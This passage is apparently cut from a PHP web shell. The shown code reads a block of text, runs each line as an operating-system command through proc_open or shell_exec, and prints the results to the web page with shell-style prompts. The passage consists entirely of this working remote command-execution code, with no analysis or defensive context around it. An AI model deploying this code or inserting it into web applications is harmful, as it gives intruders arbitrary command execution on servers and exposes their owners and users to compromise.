\n";
if (function_exists("proc_open") && function_exists("stream_get_contents") && php_uname("s") == "Linux") {
if (!($sh = proc_open("sh", array(0 => array("pipe", "r"), 1 => array("pipe", "w")), $pipes))) {
echo "Open Shell Error !";
} else {
$i = 0;
$shell = explode("\n", $s);
while ($i < count($shell)) {
$x = trim($shell[$i]);
fwrite($pipes[0], "$x\n");
$i++;
}
fclose($pipes[0]);
$stream = stream_get_contents($pipes[1]);
if ($stream != "") {
echo "
" . nl2br(___codepre(trim($stream))) . "
";
} else {
echo "NULL";
}
fclose($pipes[1]);
proc_close($sh);
}
} else {
$i = 0;
$shell = explode("\n", $s);
while ($i < count($shell)) {
$sh = trim($shell[$i]);
echo "shell# $sh
\n";
echo nl2br(___codepre(shell_exec($sh))) . "\n";
$i++;
}
}
echo "
\n";
}
xhtml_footer();
?>